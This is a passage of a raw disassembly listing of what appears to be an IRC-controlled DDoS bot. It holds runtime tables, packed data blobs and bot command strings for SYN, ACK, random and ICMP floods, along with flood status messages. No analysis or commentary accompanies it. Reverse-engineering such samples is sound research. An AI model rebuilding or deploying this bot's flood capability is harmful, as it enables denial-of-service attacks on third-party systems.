7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh dd 0 dbl_41F658 dq 9.765625e-4 ; DATA XREF: seg000:0040A43Ar ; seg000:0040A455r ... dbl_41F660 dq -3.0517578125e-5 ; DATA XREF: sub_4123FC+1Er dbl_41F668 dq 1.0 ; DATA XREF: sub_413F02+6Cr ; sub_41404B+6Cr ... dword_41F670 dd 0FFFFFFFFh, 415C5Fh, 415C73hbyte_41F67C db 6 ; DATA XREF: sub_415DDC:loc_415E33r db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: seg002:off_42D0ECo unicode 0, <(null)>,0 align 4 aNull_0 db '(null)',0 ; DATA XREF: seg002:off_42D0E8o align 10h a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 4 aAtan2 db 'atan2',0 align 10h aAtan db 'atan',0 align 4 aAcos db 'acos',0 align 10h aAsin db 'asin',0 align 4 aTanh db 'tanh',0 align 10h aCosh db 'cosh',0 align 4 aSinh db 'sinh',0 align 10h aLog10 db 'log10',0 align 4 aLog db 'log',0 aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: seg002:off_42D314o align 8 dbl_41F7A8 dq 0.0 ; DATA XREF: sub_417A2C+8Cr ; sub_417A2C+ACr ... dbl_41F7B0 dq 4.195835e6 ; DATA XREF: sub_417F41+Fr dbl_41F7B8 dq 3.145727e6 ; DATA XREF: sub_417F41+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_417F7F+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_417F7Fo align 4 aE000 db 'e+000',0 ; DATA XREF: sub_4180A6+93o align 10h dword_41F7F0 dd 0FFFFFFFFh, 418791h, 41879Bh, 0dword_41F800 dd 0FFFFFFFFh, 0 dd offset loc_418917 align 10h dd offset sub_4188F5 dd offset sub_4188FF dword_41F818 dd 0FFFFFFFFh, 418B47h, 418B4Bh, 0dword_41F828 dd 0FFFFFFFFh, 418BA9h, 418BB2h, 0dword_41F838 dd 0FFFFFFFFh, 0 dd offset loc_418C7D align 8 dd offset loc_418C69 dd offset loc_418C6D dword_41F850 dd 0FFFFFFFFh, 0 dd offset loc_418CD3 align 10h dd offset loc_418CBF ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 8Ch, 41h, 0 dword_41F868 dd 2 dup(0) ; seg000:0041B2C0o ... dword_41F870 dd 0FFFFFFFFh, 419F11h, 419F15h, 0FFFFFFFFh, 419FC5h, 419FC9h ; DATA XREF: seg000:00419E06o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 4 aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 10h aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 4 aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 10h aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 10h aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 10h aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 10h aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 4 aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: seg002:off_42D75Co db '- floating point not loaded',0Dh,0Ah,0 align 10h aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 align 4 db 0Ah db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah db 0Ah db 'Program: ',0 align 4 a___ db '...',0 aProgramNameUnk db '<program name unknown>',0 align 8 dword_41FB78 dd 0FFFFFFFFh, 41B380h, 41B384haSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aTz db 'TZ',0 ; DATA XREF: sub_41C1F2+Ao align 4 aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: seg000:0041C7BBo align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: seg000:0041C7B3o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: seg000:0041C7A2o a1Qnan db '1#QNAN',0 ; DATA XREF: sub_41D094:loc_41D189o align 10h a1Inf db '1#INF',0 ; DATA XREF: sub_41D094+D8o align 4 a1Ind db '1#IND',0 ; DATA XREF: sub_41D094+C7o align 10h a1Snan db '1#SNAN',0 ; DATA XREF: sub_41D094+ADo align 4 dword_41FC18 dd 0FFFFFFFFh, 41DA8Ch, 41DA90h, 0FFFFFFFFh, 41DAFBh, 41DAFFh ; DATA XREF: sub_41D8D5+5o dd 41FD38h off_41FC34 dd offset loc_41E038 ; DATA XREF: sub_41DE40+4Do ; sub_41E054+Co dd offset sub_41DEFE dd offset sub_41E01B aStringTooLong db 'string too long',0 ; DATA XREF: sub_41DE40+1Eo dd offset dword_41FD70 off_41FC54 dd offset loc_41DF65 ; DATA XREF: sub_41DE9A+4Eo ; sub_41DF28+11o ... dd offset sub_41DEFE dd offset sub_41DF0B dd offset dword_41FDC0 off_41FC64 dd offset loc_41E120 ; DATA XREF: sub_41E06C+4Do ; sub_41E13C+Co dd offset sub_41DEFE dd offset sub_41E103 aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_41E06C+1Eo dd offset dword_41FDF0 off_41FC8C dd offset sub_41E1A2 ; DATA XREF: sub_41E1BE+8o ; sub_41E1FB+8o ... dd offset sub_41E25B aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_41E25B+7o align 4 dd offset dword_41FE38 off_41FCAC dd offset loc_41E27D ; DATA XREF: sub_41E268o ; seg002:off_42DE80o ... dword_41FCB0 dd 0E06D7363h, 1, 2 dup(0) dd 3, 19930520h, 2 dup(0) off_41FCD0 dd offset off_42DE80 ; DATA XREF: seg001:0041FD20o ; seg001:0041FD54o ... dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_41FCE8 dd offset off_42DE98 ; DATA XREF: seg001:0041FD1Co ; seg001:0041FD50o ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) off_41FD00 dd offset off_42DEB8 ; DATA XREF: seg001:0041FD18o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_41FD00 dd offset off_41FCE8 dd offset off_41FCD0 dd 0 db 0 ; DATA XREF: seg001:0041FD48o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 3, 41FD18h, 3 dup(0) dd offset off_42DEB8 dd offset unk_41FD28 align 10h dd offset off_41FCE8 dd offset off_41FCD0 dword_41FD58 dd 4 dup(0) dd 2, 41FD50h dword_41FD70 dd 3 dup(0) dd offset off_42DE98 dd offset dword_41FD58+8 align 8 off_41FD88 dd offset off_42DED8 ; DATA XREF: seg001:0041FDA0o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_41FD88 dd offset off_41FCE8 dd offset off_41FCD0 dword_41FDAC dd 3 dup(0) dd 3, 41FDA0h dword_41FDC0 dd 3 dup(0) dd offset off_42DED8 dd offset dword_41FDAC+4 dd offset off_41FCD0 dword_41FDD8 dd 4 dup(0) dd 1, 41FDD4h dword_41FDF0 dd 3 dup(0) dd offset off_42DE80 dd offset dword_41FDD8+8 align 8 off_41FE08 dd offset off_42DEF8 ; DATA XREF: seg001:0041FE20o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_41FE08 dd 0 db 0 ; DATA XREF: seg001:0041FE48o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 41FE20h dword_41FE38 dd 3 dup(0) dd offset off_42DEF8 dd offset unk_41FE28 align 10h dword_41FE50 dd 19930520h, 2, 41FE70h, 5 dup(0) dd 0FFFFFFFFh, 41E2DCh, 0 dd offset sub_41E2D4 dword_41FE80 dd 19930520h, 2, 41FEA0h, 5 dup(0) dd 0FFFFFFFFh, 41E300h, 0 dd offset loc_41E308 dword_41FEB0 dd 19930520h, 2, 41FED0h, 1, 41FEE0h, 3 dup(0) ; DATA XREF: seg000:loc_41E31Co dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 41FEF8h, 4 dup(0) dd offset loc_4037E1 dd 0 dd offset off_42DE80 dd 0 dd 0FFFFFFFFh, 0 dd 0Ch, 41E1FBh, 2 dup(0) dd offset off_42DE98 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 41DF81h, 2 dup(0) dd offset off_42DEB8 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 41E054h, 0 dword_41FF68 dd 3, 41FF48h, 41FF28h, 41FF08hdword_41FF78 dd 0 ; sub_41E01B+12o dd offset sub_41DFDE dd 0 dd offset dword_41FF68 dword_41FF88 dd 19930520h, 1, 41FFA8h, 5 dup(0) dd 0FFFFFFFFh, 41E328h dword_41FFB0 dd 19930520h, 1, 41FFD0h, 5 dup(0)dword_41FFD0 dd 0FFFFFFFFh, 41E33Ch, 2, 41FF28h, 41FF08h, 0dword_41FFE8 dd 0 dd offset sub_41DF28 dd 0 dd offset dword_41FFD0+8 dword_41FFF8 dd 19930520h, 1, 420018h, 5 dup(0) dd 0FFFFFFFFh, 41E350h dword_420020 dd 19930520h, 1, 420040h, 5 dup(0) dd 0FFFFFFFFh, 41E364h dword_420048 dd 19930520h, 1, 420068h, 5 dup(0) dd 0FFFFFFFFh, 41E378h, 0 dd offset off_42DED8 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 41E13Ch, 0 dword_420090 dd 3, 420070h, 41FF28h, 41FF08hdword_4200A0 dd 0 ; sub_41E103+12o dd offset sub_41E0C6 dd 0 dd offset dword_420090 dword_4200B0 dd 19930520h, 1, 4200D0h, 5 dup(0) dd 0FFFFFFFFh, 41E38Ch dword_4200D8 dd 19930520h, 1, 4200F8h, 5 dup(0) dd 0FFFFFFFFh, 41E3A0h, 202E4h, 2 dup(0) dd 20328h, 1F1A8h, 2013Ch, 2 dup(0) dd 20AA0h, 1F000h, 5 dup(0) dd 7DEC4752h, 2BF08C97h, 76CA8239h, 1009122Ch, 0E3690D57h dd 430BB3C0h, 0BC324D8Ch, 973288FDh, 24DF92Bh, 6274BA8Dh dd 340AF909h, 2594F962h, 78D4789Bh, 0F348A27Eh, 12631CC7h dd 6D409407h, 4A3A44BAh, 2A81D25Eh, 5CC1B7CCh, 8838E22Eh dd 6AF6692Dh, 7C75A50Bh, 5F423B68h, 3AFC509h, 0B51FAC11h dd 0CDF40259h, 27E423DCh, 8CD64733h, 0D8685A27h, 0CD64D58h dd 0C741E963h, 6DEC68DAh, 0D40EEC10h, 0BD89D26Eh, 74244540h dd 5118878Bh, 10C99D07h, 2CE789h, 475C9003h, 89FEC61Dh dd 3ED053D2h, 0B995284Fh, 8BC130AEh, 8DEF5669h, 0A11CC6E2h dd 0C5A6E11Ah, 0F32AD082h, 0B457F41Bh, 206E4421h, 0CF9E420Ch dd 0DB10A492h, 0C79C9E43h, 13AC6299h, 6B9766D2h, 0F7F7DC29h dd 0F667CC96h, 0CB276976h, 87EF5CB9h, 54804B99h, 415D2F5h dd 0BC29A78Ah, 85020A45h, 101D0BB6h, 84BBEDEFh, 22F34873h dd 0FDF2D295h, 2FC25F7Bh, 63AF9785h, 0A324C0FBh, 84BCBADBh dd 347CA9C5h, 4BD5F5AFh, 0CB03B2C7h, 0D0C357F3h, 0A0AD7F95h dd 0AB57F40Eh, 84A20A4Fh, 40D12577h, 26584EA9h, 9C215186h dd 21057C65h, 6591804Dh, 0D39FC110h, 0CA56219Ch, 5B4425EFh dd 0F1E145D7h, 0A5AF4C2Ah, 5A0053C1h, 8B8D854Bh, 0DBB0A703h dd 0C7C01F34h, 0E771778Eh, 6EA53399h, 0CF50CA88h, 7AC43BF3h dd 0B2656693h, 0E8CA3369h, 4D8172F4h, 0E2BD0905h, 24E58580h dd 587D6EBAh, 66FA223Ch, 4EEB4352h, 67A8EA3Ch, 7B98D66Dh dd 0 dd 0FC0FA547h, 62ED4144h, 0E759727Bh, 0F9E45481h, 0E3BCB043h dd 7653EC37h, 438B761Eh, 0BEE791C7h, 0CC60B9CFh, 73DBE84Bh dd 0BE836ECBh, 1A5D4044h, 9DE2E2ABh, 17914E61h, 0D39677BEh dd 70215850h, 0 dd 2834F824h, 44352D6Ah, 0A74Dh, 903007Eh, 5F3C292Dh, 1937276Fh dd 16D0000h, 7B219998h, 0AB6D79CBh, 25DE8F77h, 2060000h dd 39F1200Dh, 0DFF1A482h, 0C3A46DD2h, 30288E2h, 10F01738h dd 2C58CEh, 0AD3D0207h, 0A48F6218h, 0E25AB031h, 0E6DC475Fh dd 97CA9741h, 11D803D4h, 0C5FE91h, 205A0159h, 0ED5A7C3Ch dd 22E5C8E4h, 7469412Dh, 1F05C6B1h, 11B001Ah, 2A95B76Dh dd 367BC12Fh, 0C3D04170h, 2960000h, 0AC92413Ch, 124004Ah dd 0A5AEC6Ah, 0F20BA334h, 0D643C55Ch, 23E2CF0Ah, 5068h dd 0EA20016Eh, 9ADA868Dh, 6561D2C9h, 0A07945A7h, 0FB0000h dd 523B9CDEh, 38437557h, 9C61E48Ch, 675h, 2644011Ah, 5D6572Bh dd 9636F423h, 0ACC7h, 0FD28004Ah, 57BD852Ch, 5535D6F1h dd 0AA9Eh, 0DD0F001Bh, 0CF10725Bh, 18DB84A7h, 11200D1h dd 4196C95Ch, 0A7D912CCh, 8EAC09h, 30930034h, 7C2F6F82h dd 0E8C80CA0h, 10D00A4h, 9D7A93CAh, 0CB4AA6A6h, 1739CE41h dd 0D0023FB7h, 0C8A0h, 3DDA0090h, 0D95A70CDh, 84F417h dd 0C387008Ah, 755904E7h, 0E1E29EE8h, 0BD8D7E5Bh, 6A7CF2AAh dd 5CF4h, 23D40089h, 4CC3A2C4h, 0C8B7746Dh, 95061942h dd 0DEA31F4Ah, 551CC83Ah, 9D0022h, 11F4FBC9h, 518B4626h dd 0E78D87C6h, 94008Eh, 5210B4F7h, 0E03B453Eh, 139A048Ah dd 147Ah, 3A510218h, 0F8C40CF0h, 79Ch, 0BBC6026Ah, 0A7D556EFh dd 28188521h, 0DC7CBB50h, 1C10000h, 0F0AF94A5h, 36B1031Dh dd 0AA684924h, 0B816A520h, 5B9DE14Bh, 660000h, 0BC713B23h dd 38EA71AEh, 0A5C6DE70h, 9CF06E2h, 2CF29643h, 1AB0000h dd 0FEB89306h, 2328B1BFh, 3E275014h, 7D5A0710h, 25144668h dd 9A2EA344h, 4DD29A18h, 753F72F0h, 0C8B664CCh, 5500D8h dd 0A50EB445h, 0D243AEA8h, 0FE53A818h, 0D478A50Bh, 7D51124h dd 1C200EDh, 0B535D5CFh, 0E092DCC4h, 1763997Fh, 13E0000h dd 0AE6DE8CBh, 0B28E2770h, 0C8DEF0FCh, 0AF88h, 942B0126h dd 9DD6599Ch, 0E0372840h, 37BCC215h, 9230h, 3F2F00AFh dd 26A4AEFh, 5B288E2Ch, 4A24C78Eh, 1930000h, 0E004C85h dd 337D7C46h, 35591839h, 18C0000h, 38C9BCB3h, 11B3DD8Ah dd 1612h, 71A902B0h, 17E2A7D6h, 0CFF7F71Ah, 0B7FCEDDh dd 1D600A1h, 494FC2B9h, 994E28CFh, 0E2DA3423h, 350035h dd 3915AAA4h, 69AD4A88h, 74F5185Dh, 11DB2D6Ah, 6D79h, 5DC0026Ch dd 6293B083h, 7FE90194h, 114001Bh, 438B4CD2h, 0E413CC9Dh dd 485E20h, 0F91D0044h, 8101CB25h, 9989DC13h, 4811C3EEh dd 800000h, 0BF446C94h, 4B922DA1h, 58D29290h, 8ABEBFEBh dd 934FDC5h, 0ABBD20CEh, 2680061h, 900D9DCFh, 0C35AA8F8h dd 8AAF0DD6h, 65CE63B0h, 0CA88h, 0ABAA02DFh, 907EC514h dd 0B4F964h, 0A86E0165h, 68C1FE7Dh, 0BF28AD4Bh, 111Ch dd 8F74010Bh, 19176DB6h, 7573618Ah, 642BC640h, 0FC8E5E20h dd 1F90000h, 9199CD9Eh, 2BD69BB9h, 21474377h, 6300A0h dd 4E1B61C5h, 1B43E05Ah, 5A424679h, 15C051h, 0F300F7h dd 97A1B13Bh, 48106D57h, 0C4C54DA4h, 0ECC2D8h, 0BA5C0043h dd 79C29DE5h, 0A0E6A52Ch, 1750000h, 0EEBDE008h, 792E8B8Ch dd 1EE06122h, 18D00C8h, 0EDEEC629h, 5126F87h, 0F99B12EEh dd 0CD889553h, 95E7h, 3D6D007Dh, 0F343DFF8h, 4A43A76Eh dd 5700C2h, 0D079D574h, 0E76B1622h, 0FA3999h, 31B901EFh dd 235FF1C7h, 9949E418h, 0F8006Fh, 0D83C5B62h, 0C0B175EEh dd 0DD236FDBh, 3691FD27h, 0F176EFh, 95900028h, 0EBAFD46Ch dd 0C546DFh, 0E5AA02CEh, 9235DF75h, 150DED1Eh, 67FB2A87h dd 0F1A38E61h, 3F00DBh, 592A633Bh, 14CFAC45h, 7B494A7h dd 29F0000h, 0C6AA5667h, 0C9AA1FC4h, 0DE1A836h, 0E83629h dd 585201DDh, 42F5574Ah, 0A95DAEh, 0A96802D2h, 0B4A3E420h dd 0A9B28C91h, 5F07DFA0h, 7F50E751h, 1E400B9h, 0E7BD16B7h dd 65E03F48h, 52551798h, 0C6BE9EF2h, 0E54909h, 0C14F00CEh dd 0BC4499BEh, 0A2F6527h, 7CE1F863h, 0F101h, 0E85A029Eh dd 0FBB38B80h, 2847FE60h, 0A687DFD5h, 0C1A0h, 0A59E011Ch dd 377461C0h, 787825F6h, 0EF947E30h, 1200000h, 0AF81CDD1h dd 3446A8DAh, 5C4B7D99h, 5072E1CEh, 1990000h, 0F549B0BFh dd 0D4FDD344h, 19F00A2h, 758B5415h, 9FFDB0B2h, 22F0000h dd 6C93D01Eh, 8C38445Eh, 170004Ah, 0A83251AEh, 0CC5952Dh dd 2459D737h, 0F37537BCh, 0C379C19Dh, 0BFCAh, 0F75C015Dh dd 0B756903Fh, 6510EC98h, 0B73458h, 5DCC01A2h, 0DC7375C6h dd 8ED9C544h, 15000DDh, 0AD6C152Ch, 3DD44A88h, 0A77E3C97h dd 7B6602h, 727300CAh, 3EE06576h, 59D289B6h, 2B9270B8h dd 174006Ah, 25EB4B58h, 589F7A28h, 605Ah, 0D56A019Dh, 2B5273D2h dd 397DBC16h, 19B0065h, 0D6E23AD6h, 11D0931Ch, 49E6h, 310D02BFh dd 0B290CB1h, 0A1EEF422h, 2BB00E4h, 0A99B1A94h, 913D2A32h dd 0BAB9F76Eh, 1B80000h, 0B4F8D775h, 25696A09h, 0ED19E979h dd 20B00A6h, 0C1966278h, 0B4343965h, 9E06B670h, 0E50Dh dd 3B0701A3h, 3E1933A5h, 0AC8Eh, 2D4901BFh, 0B6C8635Ch dd 0D3962052h, 5F4Bh, 6E0701C0h, 9332EE05h, 2AE25EB6h dd 0DD41h, 121700BFh, 61B744A7h, 3A198Dh, 48C100B9h, 0AF695F8Dh dd 1310000h, 65CE74DDh, 31AC5CCh, 2AD0000h, 0D7CE15A0h dd 0AF3E3BDCh, 0EDFA4B64h, 52CD63A7h, 0F7712F54h, 1646620Fh dd 0B20000h, 0A2FDC39h, 3FF8255Ch, 0E93C9A55h, 59FBF35Dh dd 0B2F84FFDh, 219F94h, 0EB5700B3h, 8F65EABDh, 51FD4112h dd 0DE8845CDh, 1764E893h, 5CD0F65Ch, 10600D2h, 438E71B8h dd 3B6F549Ch, 418A2E10h, 0BB2F9DC6h, 658E11D5h, 1080092h dd 0D7A2990Bh, 0E383516Eh, 62DD0274h, 0BB19752Ah, 9768392Ah dd 0C5DAh, 0BFF4026Dh, 5F7470B7h, 0B8DA09Ah, 0CB53F991h dd 1520000h, 0BB0C63E6h, 35985CE6h, 0F881932Dh, 1150000h dd 899CDF33h, 5C5D0E75h, 3D85D3h, 0F89E0153h, 0A9E3A443h dd 5D12D977h, 525E7183h, 1560000h, 680BBE66h, 1BEB4F12h dd 4D8B8433h, 0BA52h, 41B027Ch, 6D27DC2Eh, 0C0FA614Eh dd 7C09h, 731000AAh, 0ABBE9AA8h, 0D6FC8034h, 225B74BDh dd 0AFBDh, 0ABEF028Bh, 5BF3DC23h, 9CEFCB4Bh, 6DD64C10h dd 6429C55Fh, 7B824372h, 81BC6A4Eh, 1B500C4h, 1DC038FBh dd 0C1BFE1C7h, 0EDF9EE93h, 1B20000h, 7140B7F0h, 0E3F7AB4h dd 0F3D3A2A1h, 2610000h, 43D8F77Bh, 6703A0CDh, 0EB4988EEh dd 210000h, 0B091D1AAh, 0EB1BA06h, 1D5CB3EFh, 8566h, 4F260022h dd 2E81B95Dh, 0F157DE67h, 22E7731Ch, 2620000h, 0B5222294h dd 1AF8D3F9h, 0EF24E849h, 0E74635E1h, 112DE76Eh, 819B63h dd 6041F72Fh, 26F6A6A2h, 0EFC9D670h, 155h dup(0) seg001 ends ; Section 3. (virtual address 00021000) ; Virtual size : 0003F000 ( 258048.) ; Section size in file : 0003F000 ( 258048.) ; Offset to raw data for section: 00021000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute seg002 segment para public 'CODE' use32 assume cs:seg002 ;org 421000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dword_421000 dd 0 dd offset sub_40388F dd offset sub_41E154 dword_42100C dd 0 dword_421010 dd 0 dd offset sub_4148E2 dd offset sub_41A414 dd offset sub_41B166 dd offset sub_41BFD8 dword_421024 dd 0 dword_421028 dd 0 dd offset sub_41B20B dword_421030 dd 0 dword_421034 dd 0 dd offset sub_41BFE9 dword_42103C dd 0 unk_421040 db 2 ; DATA XREF: start+5Bo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 64h, 6Fh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDoneWithFloodI db ' Done with flood (%iKB/sec).',0 align 4 unk_42107C db 2 ; DATA XREF: seg000:004013B4o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 64h, 6Fh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSendErrorD_ db ' Send error: <%d>.',0 align 10h aDdos_random db 'ddos.random',0 ; DATA XREF: seg000:loc_4011DEo aDdos_ack db 'ddos.ack',0 ; DATA XREF: seg000:loc_4011C2o align 4 aDdos_syn db 'ddos.syn',0 ; DATA XREF: seg000:004011A3o align 4 db 2 db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 20h db 69h, 63h, 6Dh db 70h ; p db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aDoneWithSFlood db 'Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%dMB' db ').',0 db 2 db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 20h db 69h, 63h, 6Dh db 70h ; p db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aErrorSendingPa db 'Error sending packets to IP: %s. Packets sent: %d. Returned: <%d>' db '.',0 align 4 db 2 db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 20h db 69h, 63h, 6Dh db 70h ; p db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aInvalidTargetI db 'Invalid target IP.',0 align 10h unk_4211D0 db 2 ; DATA XREF: seg000:00401509o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 20h db 69h, 63h, 6Dh db 70h ; p db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aErrorSetsockop db 'Error: setsockopt() failed, returned: <%d>.',0 unk_42121C db 2 ; DATA XREF: seg000:00401490o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 20h db 69h, 63h, 6Dh db 70h ; p db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aErrorSocketFai db 'Error: socket() 